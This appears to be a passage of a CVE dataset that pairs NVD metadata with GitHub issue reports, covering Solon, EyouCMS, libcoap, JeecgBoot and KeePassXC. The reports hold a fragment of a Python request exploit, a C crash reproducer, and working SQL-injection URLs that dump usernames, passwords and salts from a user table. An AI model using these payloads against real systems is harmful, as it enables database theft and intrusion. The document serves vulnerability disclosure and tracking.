burp0_cookies = {"_jpanonym": "\"OWQ0ZTEzNzBlMWFlYTY2NzhhMDMxOWM5MmYzMjc0MzgjMTY2NTU2NDE1MzAwOCMzMTUzNjAwMCNPR1ZpTkRVd05qWXpZbU0xTkRCaU0yRXlabVpoTlRrek5HUXpabVk1TmpJPQ==\"", "Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a": "1665564182"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "deflate", "Connection": "close", "Content-Type": "application/hessian", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=body)
```
## Results
<img width="1453" alt="image" src="https://github.com/noear/solon/assets/132176365/a3c9aad8-7301-4c67-bb2b-382e2252fcb0">
| Solon is at risk of an RCE Vulnerability | https://api.github.com/repos/opensolon/solon/issues/145/comments | 1 | 2023-05-22T14:22:32Z | 2025-03-31T03:44:42Z | https://github.com/opensolon/solon/issues/145 | 1,719,808,413 | 145 | 5,277 |
CVE-2023-34657 | 2023-06-19T04:15:10.873 | A stored cross-site scripting (XSS) vulnerability in Eyoucms v1.6.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the web_recordnum parameter. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.7,
"impactScore": 2.7,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/43"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/43"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.6.2:*:*:*:*:*:*:*",
"matchCriteriaId": "5B87F220-D05C-4885-8C0E-E5BD8D8DFB66",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"79"
] | 79 | https://github.com/weng-xianhu/eyoucms/issues/43 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"weng-xianhu",
"eyoucms"
] | There is a storage type cross site scripting vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.2


| EyouCMS v1.6.2 has stored xss | https://api.github.com/repos/weng-xianhu/eyoucms/issues/43/comments | 0 | 2023-05-26T11:19:34Z | 2024-03-22T06:50:31Z | https://github.com/weng-xianhu/eyoucms/issues/43 | 1,727,428,755 | 43 | 5,278 |
CVE-2023-35862 | 2023-06-19T05:15:09.713 | libcoap 4.3.1 contains a buffer over-read via the function coap_parse_oscore_conf_mem at coap_oscore.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/obgm/libcoap/issues/1117"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/obgm/libcoap/pull/1118"
},
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/obgm/libcoap/tags"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/obgm/libcoap/issues/1117"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/obgm/libcoap/pull/1118"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/obgm/libcoap/tags"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:libcoap:libcoap:4.3.1:*:*:*:*:*:*:*",
"matchCriteriaId": "73BB8531-9A00-4B86-B31F-3D4896A1E15E",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"125"
] | 125 | https://github.com/obgm/libcoap/issues/1117 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"obgm",
"libcoap"
] | ## Environment
- libcoap version: v4.3.1-162-g6f79db0
- Build System: Make
- Operating System: Linux
- Operating System Version: Debian GNU/Linux 11 (bullseye)
- Hosted Environment: None
## Problem Description
There is a global-buffer-overflow bug in the `coap_parse_oscore_conf_mem` function in `src/coap_oscore.c`.
### Expected Behavior
No crash.
### Actual Behavior
Crash when enhanced with ASan.
### Steps to reproduce
1. Build `libcoap` with ASan
```sh
CC=clang CFLAGS="-g -fsanitize=address" ./autogen.sh
CC=clang CFLAGS="-g -fsanitize=address" ./configure --disable-doxygen --disable-manpages --enable-tests --disable-documentation --enable-examples --enable-shared
CC=clang CFLAGS="-g -fsanitize=address" make -j
```
2. Compile `overflow.c` (as shown follows)
```
clang overflow.c -I/root/libcoap/include -I/root/libcoap /root/libcoap/.libs/libcoap-3-gnutls.a /usr/local/lib/libgnutls.so -g -fsanitize=address -o overflow
```
3. Run `overflow` and detect ASan error
```
==869262==ERROR: AddressSanitizer: global-buffer-overflow on address 0x5567c1231cea at pc 0x5567c1079006 bp 0x7ffcdaa591c0 sp 0x7ffcdaa58970
READ of size 12 at 0x5567c1231cea thread T0
#0 0x5567c1079005 in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long) (/root/libcoap/overflow+0x57005) (BuildId: 54eb8810f12f7eb05271c5e5354411ec106ffe25)
#1 0x5567c10794f9 in memcmp (/root/libcoap/overflow+0x574f9) (BuildId: 54eb8810f12f7eb05271c5e5354411ec106ffe25)
#2 0x5567c1128e03 in coap_parse_oscore_conf_mem /root/libcoap/src/coap_oscore.c:1849:11
#3 0x5567c112849d in coap_new_oscore_conf /root/libcoap/src/coap_oscore.c:2020:37
#4 0x5567c111ca1f in main /root/libcoap/overflow.c:24:17
#5 0x7fb67e995d09 in __libc_start_main csu/../csu/libc-start.c:308:16
#6 0x5567c105da29 in _start (/root/libcoap/overflow+0x3ba29) (BuildId: 54eb8810f12f7eb05271c5e5354411ec106ffe25)
0x5567c1231cea is located 54 bytes to the left of global variable '.str.74' defined in '/root/libcoap/src/coap_oscore.c:1790' (0x5567c1231d20) of size 14
'.str.74' is ascii string 'replay_window'
0x5567c1231cea is located 22 bytes to the left of global variable '.str.73' defined in '/root/libcoap/src/coap_oscore.c:1788' (0x5567c1231d00) of size 11
'.str.73' is ascii string 'id_context'
0x5567c1231cea is located 0 bytes to the right of global variable '.str.72' defined in '/root/libcoap/src/coap_oscore.c:1787' (0x5567c1231ce0) of size 10
'.str.72' is ascii string 'sender_id'
SUMMARY: AddressSanitizer: global-buffer-overflow (/root/libcoap/overflow+0x57005) (BuildId: 54eb8810f12f7eb05271c5e5354411ec106ffe25) in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long)
Shadow bytes around the buggy address:
0x0aad7823e340: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 04 f9 f9 f9
0x0aad7823e350: f9 f9 f9 f9 00 00 00 00 00 00 03 f9 f9 f9 f9 f9
0x0aad7823e360: 05 f9 f9 f9 06 f9 f9 f9 00 00 00 00 00 00 06 f9
0x0aad7823e370: f9 f9 f9 f9 06 f9 f9 f9 04 f9 f9 f9 00 f9 f9 f9
0x0aad7823e380: 05 f9 f9 f9 05 f9 f9 f9 00 04 f9 f9 00 00 07 f9
=>0x0aad7823e390: f9 f9 f9 f9 00 06 f9 f9 00 04 f9 f9 00[02]f9 f9
0x0aad7823e3a0: 00 03 f9 f9 00 06 f9 f9 00 01 f9 f9 00 01 f9 f9
0x0aad7823e3b0: 00 01 f9 f9 00 06 f9 f9 00 04 f9 f9 00 00 01 f9
0x0aad7823e3c0: f9 f9 f9 f9 00 00 04 f9 f9 f9 f9 f9 00 00 02 f9
0x0aad7823e3d0: f9 f9 f9 f9 00 00 02 f9 f9 f9 f9 f9 00 00 04 f9
0x0aad7823e3e0: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==869262==ABORTING
```
### Code to reproduce this issue
```cpp
// overflow.c
#include "coap3/coap_internal.h"
#include "oscore/oscore.h"
#include "oscore/oscore_context.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
static const char conf_data[] =
"master_secret,hex,\"0102030405060708090a0b0c0d0e0f10\"\n"
"master_salt,hex,\"9e7ca92223786340\"\n"
"sender_id,hex,\"\"\n"
"recipient_id,hex,\"01\"\n";
const coap_str_const_t conf = { sizeof(conf_data)-1,
(const uint8_t *)conf_data };
coap_context_t ctx[1];
coap_oscore_conf_t *oscore_conf;
cose_encrypt0_t cose[1];
uint8_t nonce_buffer[13];
coap_bin_const_t nonce = { 13, nonce_buffer };
memset(&ctx, 0, sizeof(ctx));
oscore_conf = coap_new_oscore_conf(conf, NULL, NULL, 0);
oscore_free_contexts(ctx);
return 0;
}
```
## Debug Logs
```
(gdb) b coap_oscore.c:1849
Breakpoint 1 at 0x106d39: file src/coap_oscore.c, line 1849.
(gdb) r
Starting program: /root/libcoap/overflow
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, coap_parse_oscore_conf_mem (conf_mem=...) at src/coap_oscore.c:1849
1849 if (memcmp(oscore_config[i].keyword, keyword.s, keyword.length) == 0 &&
(gdb) display oscore_config[i]
1: oscore_config[i] = {keyword = 0x562f6227aca0 <str> "master_secret", encoding = 3, offset = 0, text_mapping = 0x0}
(gdb) display keyword
2: keyword = {length = 13,
s = 0x562f62279660 <main.conf_data> "master_secret,hex,\"0102030405060708090a0b0c0d0e0f10\"\nmaster_salt,hex,\"9e7ca92223786340\"\nsender_id,hex,\"\"\nrecipient_id,hex,\"01\"\n"}
(gdb) c
Continuing.
Breakpoint 1, coap_parse_oscore_conf_mem (conf_mem=...) at src/coap_oscore.c:1849
1849 if (memcmp(oscore_config[i].keyword, keyword.s, keyword.length) == 0 &&
1: oscore_config[i] = {keyword = 0x562f6227aca0 <str> "master_secret", encoding = 3, offset = 0, text_mapping = 0x0}
2: keyword = {length = 11, s = 0x562f62279695 <main.conf_data+53> "master_salt,hex,\"9e7ca92223786340\"\nsender_id,hex,\"\"\nrecipient_id,hex,\"01\"\n"}
(gdb) c
Continuing.
Breakpoint 1, coap_parse_oscore_conf_mem (conf_mem=...) at src/coap_oscore.c:1849
1849 if (memcmp(oscore_config[i].keyword, keyword.s, keyword.length) == 0 &&
1: oscore_config[i] = {keyword = 0x562f6227acc0 <str> "master_salt", encoding = 3, offset = 8, text_mapping = 0x0}
2: keyword = {length = 11, s = 0x562f62279695 <main.conf_data+53> "master_salt,hex,\"9e7ca92223786340\"\nsender_id,hex,\"\"\nrecipient_id,hex,\"01\"\n"}
(gdb) c
Continuing.
Breakpoint 1, coap_parse_oscore_conf_mem (conf_mem=...) at src/coap_oscore.c:1849
1849 if (memcmp(oscore_config[i].keyword, keyword.s, keyword.length) == 0 &&
1: oscore_config[i] = {keyword = 0x562f6227aca0 <str> "master_secret", encoding = 3, offset = 0, text_mapping = 0x0}
2: keyword = {length = 9, s = 0x562f622796b8 <main.conf_data+88> "sender_id,hex,\"\"\nrecipient_id,hex,\"01\"\n"}
(gdb) c
Continuing.
Breakpoint 1, coap_parse_oscore_conf_mem (conf_mem=...) at src/coap_oscore.c:1849
1849 if (memcmp(oscore_config[i].keyword, keyword.s, keyword.length) == 0 &&
1: oscore_config[i] = {keyword = 0x562f6227acc0 <str> "master_salt", encoding = 3, offset = 8, text_mapping = 0x0}
2: keyword = {length = 9, s = 0x562f622796b8 <main.conf_data+88> "sender_id,hex,\"\"\nrecipient_id,hex,\"01\"\n"}
(gdb) c
Continuing.
Breakpoint 1, coap_parse_oscore_conf_mem (conf_mem=...) at src/coap_oscore.c:1849
1849 if (memcmp(oscore_config[i].keyword, keyword.s, keyword.length) == 0 &&
1: oscore_config[i] = {keyword = 0x562f6227ace0 <str> "sender_id", encoding = 3, offset = 16, text_mapping = 0x0}
2: keyword = {length = 9, s = 0x562f622796b8 <main.conf_data+88> "sender_id,hex,\"\"\nrecipient_id,hex,\"01\"\n"}
(gdb) c
Continuing.
Breakpoint 1, coap_parse_oscore_conf_mem (conf_mem=...) at src/coap_oscore.c:1849
1849 if (memcmp(oscore_config[i].keyword, keyword.s, keyword.length) == 0 &&
1: oscore_config[i] = {keyword = 0x562f6227aca0 <str> "master_secret", encoding = 3, offset = 0, text_mapping = 0x0}
2: keyword = {length = 12, s = 0x562f622796c9 <main.conf_data+105> "recipient_id,hex,\"01\"\n"}
(gdb) c
Continuing.
Breakpoint 1, coap_parse_oscore_conf_mem (conf_mem=...) at src/coap_oscore.c:1849
1849 if (memcmp(oscore_config[i].keyword, keyword.s, keyword.length) == 0 &&
1: oscore_config[i] = {keyword = 0x562f6227acc0 <str> "master_salt", encoding = 3, offset = 8, text_mapping = 0x0}
2: keyword = {length = 12, s = 0x562f622796c9 <main.conf_data+105> "recipient_id,hex,\"01\"\n"}
(gdb) c
Continuing.
Breakpoint 1, coap_parse_oscore_conf_mem (conf_mem=...) at src/coap_oscore.c:1849
1849 if (memcmp(oscore_config[i].keyword, keyword.s, keyword.length) == 0 &&
1: oscore_config[i] = {keyword = 0x562f6227ace0 <str> "sender_id", encoding = 3, offset = 16, text_mapping = 0x0}
2: keyword = {length = 12, s = 0x562f622796c9 <main.conf_data+105> "recipient_id,hex,\"01\"\n"}
(gdb) c
Continuing.
[Then crashes]
```
| Global-buffer-overflow in `coap_parse_oscore_conf_mem` function in `src/coap_oscore.c` | https://api.github.com/repos/obgm/libcoap/issues/1117/comments | 3 | 2023-05-21T14:10:09Z | 2023-08-19T12:41:49Z | https://github.com/obgm/libcoap/issues/1117 | 1,718,518,447 | 1,117 | 5,279 |
CVE-2023-34602 | 2023-06-19T06:15:09.047 | JeecgBoot up to v 3.5.1 was discovered to contain a SQL injection vulnerability via the component queryTableDictItemsByCode at org.jeecg.modules.api.controller.SystemApiController. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4983"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4983"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecgboot:*:*:*:*:*:*:*:*",
"matchCriteriaId": "10C93285-2128-4E13-8F27-3BA2A037D4E6",
"versionEndExcluding": null,
"versionEndIncluding": "3.5.1",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"89"
] | 89 | https://github.com/jeecgboot/jeecg-boot/issues/4983 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"jeecgboot",
"jeecg-boot"
] | ##### 版本号:
3.5.1以及之前的所有版本
##### 前端版本:vue3版?还是 vue2版?
vue3版
##### 问题描述:
代码中存在SQL注入风险。尽管代码中添加SQL注入的过滤功能,但我们测试发现访问```org.jeecg.modules.api.controller.SystemApiController```类中的```queryTableDictItemsByCode```方法还是能通过特殊的字符串获取数据表中我们想要的数据,例如sys_user表中的用户名,密码和salt值。详细请见截图中的URL,其中“--”符号表示注释,通过该符号屏蔽后续SQL语句,其主要原因是mybatis中${XXX}存在SQL注入风险。
There is a SQL injection risk in the code. Although the code has added SQL injection filtering functionality, we found during testing that accessing the ```queryTableDictItemsByCode method``` in the ```org.jeecg.modules.api.controller.SystemApiController``` class still allows obtaining desired data from the database table, such as usernames, passwords, and salt values from the sys_user table. Please refer to the screenshot of the URL provided, where the "--" symbol is used to comment out the subsequent SQL statements. The main reason for this is the SQL injection risk associated with ${XXX} in MyBatis.
##### 截图&代码:
**source code:**



**SQL Injection:**
URL: http://localhost:8080/jeecg-boot/sys/api/queryTableDictItemsByCode?table=sys_user&text=password as "text", username as "value" from sys_user --&code=username

URL: http://localhost:8080/jeecg-boot/sys/api/queryTableDictItemsByCode?table=sys_user&text=password as "text", salt as "value" from sys_user --&code=username

#### 友情提示(为了提高issue处理效率):
- 未按格式要求发帖,会被直接删掉;
- 描述过于简单或模糊,导致无法处理的,会被直接删掉;
- 请自己初判问题描述是否清楚,是否方便我们调查处理;
- 针对问题请说明是Online在线功能(需说明用的主题模板),还是生成的代码功能;
| SQL Injection in 3.5.1 | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4983/comments | 3 | 2023-05-26T13:33:03Z | 2023-06-07T06:02:29Z | https://github.com/jeecgboot/JeecgBoot/issues/4983 | 1,727,638,418 | 4,983 | 5,280 |
CVE-2023-34603 | 2023-06-19T06:15:09.180 | JeecgBoot up to v 3.5.1 was discovered to contain a SQL injection vulnerability via the component queryFilterTableDictInfo at org.jeecg.modules.api.controller.SystemApiController. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4984"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4984"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecgboot:*:*:*:*:*:*:*:*",
"matchCriteriaId": "10C93285-2128-4E13-8F27-3BA2A037D4E6",
"versionEndExcluding": null,
"versionEndIncluding": "3.5.1",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"89"
] | 89 | https://github.com/jeecgboot/jeecg-boot/issues/4984 | [
"Exploit",
"Issue Tracking",
"Vendor Advisory"
] | github.com | [
"jeecgboot",
"jeecg-boot"
] | ##### 版本号:
3.5.1以及之前的所有版本
##### 前端版本:vue3版?还是 vue2版?
vue3版
##### 问题描述:
与问题https://github.com/jeecgboot/jeecg-boot/issues/4983 类似,访问```org.jeecg.modules.api.controller.SystemApiController```类中的```queryFilterTableDictInfo```方法会触发SQL注入,根据需求获取数据库中的关键信息。主要原因还是绕过SQL注入检测方法后,Mybatis中的${XXX}存在SQL注入隐患。
Similar to the issue https://github.com/jeecgboot/jeecg-boot/issues/4983, accessing the ```queryFilterTableDictInfo``` method in the ```org.jeecg.modules.api.controller.SystemApiController``` class will trigger SQL injection, allowing retrieval of critical information from the database based on the requirements. The main reason for this is the SQL injection vulnerability associated with ${XXX} in MyBatis, even after bypassing the SQL injection detection methods.
##### 截图&代码:
**source code:**



**SQL Injection**
URL: http://localhost:8080/jeecg-boot/sys/api/queryFilterTableDictInfo?table=sys_user&text=password as "text", username as "value" from sys_user --&code=username&filterSql=

#### 友情提示(为了提高issue处理效率):
- 未按格式要求发帖,会被直接删掉;
- 描述过于简单或模糊,导致无法处理的,会被直接删掉;
- 请自己初判问题描述是否清楚,是否方便我们调查处理;
- 针对问题请说明是Online在线功能(需说明用的主题模板),还是生成的代码功能;
| org.jeecg.modules.api.controller.SystemApiController.queryFilterTableDictInfo方法导致SQL注入 | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4984/comments | 1 | 2023-05-26T13:43:23Z | 2023-09-04T09:36:15Z | https://github.com/jeecgboot/JeecgBoot/issues/4984 | 1,727,654,900 | 4,984 | 5,281 |
CVE-2023-35866 | 2023-06-19T06:15:09.240 | In KeePassXC through 2.7.5, a local attacker can make changes to the Database security settings, including master password and second-factor authentication, within an authenticated KeePassXC Database session, without the need to authenticate these changes by entering the password and/or second-factor authentication to confirm changes. NOTE: the vendor's position is "asking the user for their password prior to making any changes to the database settings adds no additional protection against a local attacker." | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339#issuecomment-1598219482"
},
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9391"
},
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://keepassxc.org/docs/#faq-yubikey-2fa"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://medium.com/%40cybercitizen.tech/keepassxc-vulnerability-cve-2023-35866-dc7d447c4903"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339#issuecomment-1598219482"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9391"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://keepassxc.org/docs/#faq-yubikey-2fa"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://medium.com/%40cybercitizen.tech/keepassxc-vulnerability-cve-2023-35866-dc7d447c4903"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:keepassxc:keepassxc:*:*:*:*:*:*:*:*",
"matchCriteriaId": "C5AD47BA-25BE-4E45-ABCF-CF8AA101034D",
"versionEndExcluding": null,
"versionEndIncluding": "2.7.5",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"863"
] | 863 | https://github.com/keepassxreboot/keepassxc/issues/9339 | [
"Issue Tracking"
] | github.com | [
"keepassxreboot",
"keepassxc"
] | I am disappointed because when exporting the database no password is required.
And when I want to change the master password no password is required.
For me it is a bad lack of security because if an attacker who has managed to have access to the PC locally or remotely he can change the password or export the entire database in clear text in a second without any kind of protection. It's rare but it can happen and if it happens game over!
All password managers require the master password to export and change the master password.
I don't understand why KeePass XC doesn't!
That's why I don't use KeePass XC because it's too insecure for it.
I hope you will include this important protection becouse if this problem is not solved it remains a totally useless application to contain passwords.
| Password for export and change password | https://api.github.com/repos/keepassxreboot/keepassxc/issues/9339/comments | 41 | 2023-04-20T06:32:00Z | 2023-06-21T13:17:10Z | https://github.com/keepassxreboot/keepassxc/issues/9339 | 1,676,085,284 | 9,339 | 5,282 |
CVE-2023-35866 | 2023-06-19T06:15:09.240 | In KeePassXC through 2.7.5, a local attacker can make changes to the Database security settings, including master password and second-factor authentication, within an authenticated KeePassXC Database session, without the need to authenticate these changes by entering the password and/or second-factor authentication to confirm changes. NOTE: the vendor's position is "asking the user for their password prior to making any changes to the database settings adds no additional protection against a local attacker." | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/keepassxreboot/keepassxc/issues/9339"
},
{
"source": "cve@mitre.org",
